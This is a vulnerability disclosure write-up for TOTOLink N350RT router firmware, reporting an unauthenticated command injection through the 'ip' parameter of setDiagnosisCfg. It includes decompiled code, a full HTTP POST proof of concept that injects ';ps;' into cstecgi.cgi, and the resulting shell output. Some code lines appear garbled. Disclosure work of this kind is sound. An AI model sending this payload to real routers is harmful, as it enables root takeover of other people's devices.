

TOTOLink N350RT V9.3.5u.6139_B20201216 Has an command injection vulnerability

Overview

- Manufacturer's website information: https://www.totolink.net/
- Firmware download address: https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/206/ids/36.htm |

Product Information

TOTOLink N350RT V9.3.5u.6139_B20201216 router, the latest version of simulation overview:



N350RT

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Overview



NO	Name	Version	Updated	Download
1	N350RT_Firmware	V9.3.5u.5812_B20200414	2020-07-28	•
2	N350RT_Datasheet	Ver1.0	2020-08-09	④
3	N350RT_Firmware	V9.3.5u.6095_B20200916	2020-09-24	④
4	N350RT_Firmware	V9.3.5u.6139_B20201216	2020-12-30	•

Vulnerability details

TOTOLINK N350RT (V9.3.5u.6139_B20201216) was found to contain a command insertion vulnerability in setDiagnosisCfg.This vulnerability allows an attacker to execute arbitrary commands through the "ip" parameter.

```
1 int __fastcall sub_41A494(int a1)
      const char *Var; // $s2
      int v3; // $v0
      int v4; // $v0
      char v6[128]; // [sp+18h] [-80h] BYREF
 8
     memset(v6, 0, sizeof(v6));
     Var = (const char *)websGetVar(a1, "ip", "www.baidu.com");
9
10
      v3 = websGetVar(a1, "num", &byte_42E318);
11
      v4 = atoi(v3):
12
     sprintf(v6, "ping %s -w %d &>/var/log/pingCheck , Var, v4);
     doSystem(v6);
13
14
     setResponse(&word_42C8AC, "reserv");
15
      return 1;
16 }
```

Format Var into V6 using sprintf function and pass in dosystem function.

```
$ grep -rnl doSystem
squashfs-root/usr/sbin/discover
squashfs-root/usr/sbin/apply
squashfs-root/usr/sbin/forceupq
squashfs-root/lib/libshared.so
squashfs-root/www/cgi-bin/infostat.cgi
squashfs-root/www/cgi-bin/cstecgi.cgi
squashfs-root/sbin/rc
```

The dosystem function is finally found to be implemented in this file by string matching.

```
int doSystem(int a1, ...)
{
    char v2[516]; // [sp+1Ch] [-204h] BYREF
    va_list va; // [sp+22Ch] [+Ch] BYREF

    va_start(va, a1);
    vsnprintf(v2, 0x200, a1, (va_list *)va);
    return system(v2);
}
```


Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Boot the firmware by qemu-system or other ways (real machine)
- 2. Attack with the following POC attacks

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 52
Origin: http://192.168.0.1
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Pragma: no-cache
Cache-Control: no-cache
{"ip":";ps;","num":"1","topicurl":"setDiagnosisCfg"}
```



The above figure shows the POC attack effect

```
1000
FWXFWXF-X
FWXFWXF-X
                                      4096 Dec 2
drwxrwxr-x
                        1000
drwxrwxr-x
drwxrwxr-x
            2 1000
                        1000
            9 1000
                                                    2020
drwxrwxr-x
             2 1000
                         1000
                                      4096 Dec
             9 1000
                         1000
                                      4096 Dec
drwxrwxr-x
                                                    2020 www
/ #
```

Finally, you can write exp to get a stable root shell without authorization.